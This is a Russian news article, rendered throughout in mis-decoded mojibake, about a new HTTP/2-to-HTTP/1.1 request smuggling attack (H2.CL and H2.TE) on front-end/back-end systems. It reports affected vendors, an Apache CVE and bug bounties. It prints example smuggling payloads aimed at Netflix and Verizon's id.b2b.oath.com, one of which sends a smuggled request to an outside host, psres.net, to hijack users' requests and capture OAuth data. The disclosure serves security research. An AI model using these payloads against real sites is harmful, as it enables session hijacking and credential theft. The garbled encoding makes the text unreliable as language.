Новая Π°Ρ‚Π°ΠΊΠ° Π½Π° систСмы фронтэнд-бэкСнд, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π²ΠΊΠ»ΠΈΠ½ΠΈΡ‚ΡŒΡΡ Π² запросы

Web-систСмы, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… фронтэнд ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ соСдинСния ΠΏΠΎ HTTP/2 ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ бэкСнду ΠΏΠΎ HTTP/1.1, оказались ΠΏΠΎΠ΄Π²Π΅Ρ€ΠΆΠ΅Π½Ρ‹ Π½ΠΎΠ²ΠΎΠΌΡƒ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρƒ Π°Ρ‚Π°ΠΊΠΈ «HTTP Request Smuggling», ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅ΠΉ Ρ‡Π΅Ρ€Π΅Π· ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½Π½Ρ‹Ρ… клиСнтских запросов Π²ΠΊΠ»ΠΈΠ½ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π² содСрТимоС запросов Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ фронтэндом ΠΈ бэкСндом. Атака ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использована для подстановки врСдоносного JavaScript-ΠΊΠΎΠ΄Π° Π² сСанс с Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ½Ρ‹ΠΌ сайтом, ΠΎΠ±Ρ…ΠΎΠ΄Π° систСм ограничСния доступа ΠΈ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ.

ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅ ΠΏΠΎΠ΄Π²Π΅Ρ€ΠΆΠ΅Π½Ρ‹ web-прокси, балансировщики Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, web-аксСлСраторы, систСмы доставки ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΈ ΠΏΡ€ΠΎΡ‡ΠΈΠ΅ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… запросы ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ ΠΏΠΎ схСмС фронтэнд-бэкСнд. Автор исслСдования продСмонстрировал Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π°Ρ‚Π°ΠΊΠΈ Π½Π° систСмы Netflix, Verizon, Bitbucket, Netlify CDN ΠΈ Atlassian, ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» 56 тысяч Π΄ΠΎΠ»Π»Π°Ρ€ΠΎΠ² Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°Ρ… ΠΏΠΎ Π²Ρ‹ΠΏΠ»Π°Ρ‚Π΅ Π²ΠΎΠ·Π½Π°Π³Ρ€Π°ΠΆΠ΄Π΅Π½ΠΈΠΉ Π·Π° выявлСниС уязвимостСй. НаличиС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΎ Π² ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π°Ρ… F5 Networks. Частично ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°Π΅Ρ‚ mod_proxy Π² http-сСрвСрС Apache (CVE-2021-33193), исправлСния оТидаСтся Π² вСрсии 2.4.49 (Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π±Ρ‹Π»ΠΈ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½Ρ‹ ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅ Π² Π½Π°Ρ‡Π°Π»Π΅ мая ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ 3 мСсяца Π½Π° исправлСниС). Π’ nginx Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ указания Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² «Content-Length» ΠΈ «Transfer-Encoding Π±Ρ‹Π»ΠΈ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π² ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΌ выпускС (1.21.1). БрСдства для провСдСния Π°Ρ‚Π°ΠΊ ΡƒΠΆΠ΅ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ Π² инструмСнтарий Burp ΠΈ доступны Π² Ρ„ΠΎΡ€ΠΌΠ΅ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Turbo Intruder.

ΠŸΡ€ΠΈΠ½Ρ†ΠΈΠΏ дСйствия Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° вклинивания запросов Π² Ρ‚Ρ€Π°Ρ„ΠΈΠΊ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π΅Π½ уязвимости, выявлСнной Ρ‚Π΅ΠΌ ΠΆΠ΅ исслСдоватСлСм Π΄Π²Π° Π³ΠΎΠ΄Π° Π½Π°Π·Π°Π΄, Π½ΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠΉ фронтэндами, ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‰ΠΈΠΌΠΈ запросы ΠΏΠΎ HTTP/1.1. Напомним, Ρ‡Ρ‚ΠΎ Π² схСмС фронтэнд-бэкСнд запросы ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ² ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΡƒΠ·Π΅Π» — фронтэнд, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ устанавливаСт Π΄ΠΎΠ»Π³ΠΎΠΆΠΈΠ²ΡƒΡŽΡ‰Π΅Π΅ TCP-соСдинСниС с бэкСндом, ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡŽΡ‰ΠΈΠΌ Π½Π΅ΠΏΠΎΡΡ€Π΅Π΄ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ запросов. Π§Π΅Ρ€Π΅Π· Π΄Π°Π½Π½ΠΎΠ΅ ΠΎΠ±Ρ‰Π΅Π΅ соСдинСниС ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ запросы Ρ€Π°Π·Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΠΏΠΎ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΎΠ΄ΠΈΠ½ Π·Π° Π΄Ρ€ΡƒΠ³ΠΈΠΌ с Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ΠΌ срСдствами ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP.

ΠšΠ»Π°ΡΡΠΈΡ‡Π΅ΡΠΊΠ°Ρ Π°Ρ‚Π°ΠΊΠ° «HTTP Request Smuggling» ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°Π»Π°ΡΡŒ Π½Π° Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ фронтэнды ΠΈ бэкСнды ΠΏΠΎ Ρ€Π°Π·Π½ΠΎΠΌΡƒ Ρ‚Ρ€Π°ΠΊΡ‚ΡƒΡŽΡ‚ использованиС HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² «Content-Length» (опрСдСляСт ΠΎΠ±Ρ‰ΠΈΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π΄Π°Π½Π½Ρ‹Ρ… Π² запросС) ΠΈ «Transfer-Encoding: chunked» (позволяСт ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎ частям). НапримСр, Ссли фронтэнд ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ «Content-Length», Π½ΠΎ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΠ΅Ρ‚ «Transfer-Encoding: chunked», Ρ‚ΠΎ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ запрос, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΡƒΠΊΠ°Π·Π°Π½Ρ‹ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ «Content-Length» ΠΈ «Transfer-Encoding: chunked», Π½ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π² «Content-Length» Π½Π΅ соотвСтствуСт Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ chunked-Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ. Π’ этом случаС фронтэнд ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΈ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ запрос Π² соотвСтствии с «Content-Length», Π° бэкСнд Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Π±Π»ΠΎΠΊΠ° Π½Π° основС «Transfer-Encoding: chunked» ΠΈ ΠΎΡΡ‚Π°Π²ΡˆΠΈΠΉΡΡ хвост запроса Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅Π³ΠΎ окаТСтся Π²Π½Π°Ρ‡Π°Π»Π΅ Ρ‡ΡƒΠΆΠΎΠ³ΠΎ запроса, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ³ΠΎ слСдом.

Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ тСкстового ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP/1.1, Ρ€Π°Π·Π±ΠΎΡ€ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ осущСствляСтся Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ строк, HTTP/2 являСтся Π±ΠΈΠ½Π°Ρ€Π½Ρ‹ΠΌ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠΌ ΠΈ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ Π±Π»ΠΎΠΊΠ°ΠΌΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π·Π°Ρ€Π°Π½Π΅Π΅ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°. ΠŸΡ€ΠΈ этом Π² HTTP/2 ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ псСвдо-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌ HTTP. Π’ случаС взаимодСйствия с бэкСндом ΠΏΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρƒ HTTP/1.1, фронтэнд транслируСт эти псСвдо-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Π² Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹Π΅ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ HTTP/1.1. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ бэкСнд ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΎ Ρ€Π°Π·Π±ΠΎΡ€Π΅ ΠΏΠΎΡ‚ΠΎΠΊΠ° ΡƒΠΆΠ΅ Π½Π° основС выставлСнных фронтэндом HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², Π½Π΅ имСя свСдСний ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Ρ… ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ запроса.

Π’ Ρ‚ΠΎΠΌ числС Π² Ρ„ΠΎΡ€ΠΌΠ΅ псСвдо-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ значСния «content-length» ΠΈ «transfer-encoding», нСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π² HTTP/2 ΠΎΠ½ΠΈ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ€ всСх Π΄Π°Π½Π½Ρ‹Ρ… опрСдСляСтся Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΠ»Π΅. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π² процСссС прСобразования запроса HTTP/2 Π² HTTP/1.1 Π΄Π°Π½Π½Ρ‹Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ пСрСносятся ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ввСсти Π² Π·Π°Π±Π»ΡƒΠΆΠ΄Π΅Π½ΠΈΠ΅ бэкСнд. ВыдСляСтся Π΄Π²Π° основных Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π° Π°Ρ‚Π°ΠΊΠΈ: H2.TE ΠΈ H2.CL, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… бэкСнд вводится Π² Π·Π°Π±Π»ΡƒΠΆΠ΄Π΅Π½ΠΈΠ΅ Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ transfer-encoding ΠΈΠ»ΠΈ content-length, Π½Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌΡƒ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ Ρ‚Π΅Π»Π° запроса, ΠΏΠΎΡΡ‚ΡƒΠΏΠΈΠ²ΡˆΠ΅Π³ΠΎ ΠΊ фронтэнду ΠΏΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρƒ HTTP/2.

Новая Π°Ρ‚Π°ΠΊΠ° Π½Π° систСмы фронтэнд-бэкСнд, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π²ΠΊΠ»ΠΈΠ½ΠΈΡ‚ΡŒΡΡ Π² запросы

Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π°Ρ‚Π°ΠΊΠΈ H2.CL приводится ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Π² псСвдо-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ content-length ΠΏΡ€ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ запроса HTTP/2 ΠΊ Netflix. Π”Π°Π½Π½Ρ‹ΠΉ запрос ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ добавлСнию Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎΠ³ΠΎ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π‘ontent-Length ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Ρ‰Π΅Π½ΠΈΠΈ ΠΊ бэкСнду ΠΏΠΎ HTTP/1.1, Π½ΠΎ Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π² Π‘ontent-Length ΡƒΠΊΠ°Π·Π°Π½ мСньшС фактичСского, Ρ‚ΠΎ Ρ‡Π°ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Ρ… Π² хвостС обрабатываСтся ΠΊΠ°ΠΊ Π½Π°Ρ‡Π°Π»ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ запроса.

НапримСр, запрос HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ бэкСнду запроса: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Π’Π°ΠΊ ΠΊΠ°ΠΊ Content-Length ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 4, Ρ‚ΠΎ бэкСнд воспримСт Π² качСствС Ρ‚Π΅Π»Π° запроса Ρ‚ΠΎΠ»ΡŒΠΊΠΎ «abcd», Π° ΠΎΡΡ‚Π°Π»ΡŒΠ½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ «GET /n HTTP/1.1…» ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΊ Π½Π°Ρ‡Π°Π»ΠΎ слСдом ΠΈΠ΄ΡƒΡ‰Π΅Π³ΠΎ запроса, привязанного ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ. БоотвСтствСнно, ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ рассинхронизация ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΈ Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° слСдом ΠΈΠ΄ΡƒΡ‰ΠΈΠΉ запрос Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π΄Π°Π½ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ подставного запроса. Π’ случаС с Netflix ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ стороннСго хоста Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ «Host:» Π² подставном запросС ΠΏΡ€ΠΈΠ²Π΅Π»ΠΎ ΠΊ Π²Ρ‹Π²ΠΎΠ΄Ρƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ ΠΎΡ‚Π²Π΅Ρ‚Π° «Location: https://02.rs?x.netflix.com/n» ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠ»ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠ΅ содСрТимоС, Π² Ρ‚ΠΎΠΌ числС Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ свой JavaScript-ΠΊΠΎΠ΄ Π² контСкстС сайта Netflix.

Π’Ρ‚ΠΎΡ€ΠΎΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π°Ρ‚Π°ΠΊΠΈ (H2.TE) связан с подстановкой Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° «Transfer-Encoding: chunked». ИспользованиС псСвдо-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° transfer-encoding Π² HTTP/2 Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½ΠΎ спСцификациСй ΠΈ запросы с Π½ΠΈΠΌ прСдписано Ρ‚Ρ€Π°ΠΊΡ‚ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹Π΅. НСсмотря Π½Π° это, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ фронтэндов Π½Π΅ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ Π΄Π°Π½Π½ΠΎΠ΅ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈ Π΄ΠΎΠΏΡƒΡΠΊΠ°ΡŽΡ‚ использованиС псвСвдо-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° transfer-encoding Π² HTTP/2, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСобразуСтся Π² Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ HTTP. ΠŸΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° «Transfer-Encoding» бэкСнд ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΎΡΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ Π΅Π³ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π½Ρ‹ΠΌ ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·Π±ΠΎΡ€ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠΎ частям Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ «chunked» с использованиСм Π±Π»ΠΎΠΊΠΎΠ² Ρ€Π°Π·Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ «{Ρ€Π°Π·ΠΌΠ΅Ρ€}\r\n{Π±Π»ΠΎΠΊ}\r\n{Ρ€Π°Π·ΠΌΠ΅Ρ€}\r\n{Π±Π»ΠΎΠΊ}\r\n0», нСсмотря Π½Π° ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΠΎΠ±Ρ‰Π΅ΠΌΡƒ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ.

НаличиС ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΉ Π±Ρ€Π΅ΡˆΠΈ Π±Ρ‹Π»ΠΎ продСмонстрировано Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ Verizon. ΠŸΡ€ΠΈ этом ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° касалась ΠΏΠΎΡ€Ρ‚Π°Π»Π° Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ систСмы управлСния ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ, которая Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π½Π° Ρ‚Π°ΠΊΠΈΡ… сайтах ΠΊΠ°ΠΊ Huffington Post ΠΈ Engadget. НапримСр, запрос ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° ΠΏΠΎ HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

ΠŸΡ€ΠΈΠ²ΠΎΠ΄ΠΈΠ» ΠΊ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ бэкСнду запроса HTTP/1.1: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

БэкСнд, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π» Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ «Content-Length» ΠΈ выполнял Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Π½Π° основС «Transfer-Encoding: chunked». На ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ Π°Ρ‚Π°ΠΊΠ° ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠ»Π° ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ запросы ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π½Π° свой сайт ΠΈ Π² Ρ‚ΠΎΠΌ числС ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ запросы, связанныС с Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠ΅ΠΉ OAuth, ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΡΠ²Π΅Ρ‚ΠΈΠ»ΠΈΡΡŒ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ Referer, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΡΠΈΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ сСанс Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ систСмой ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ 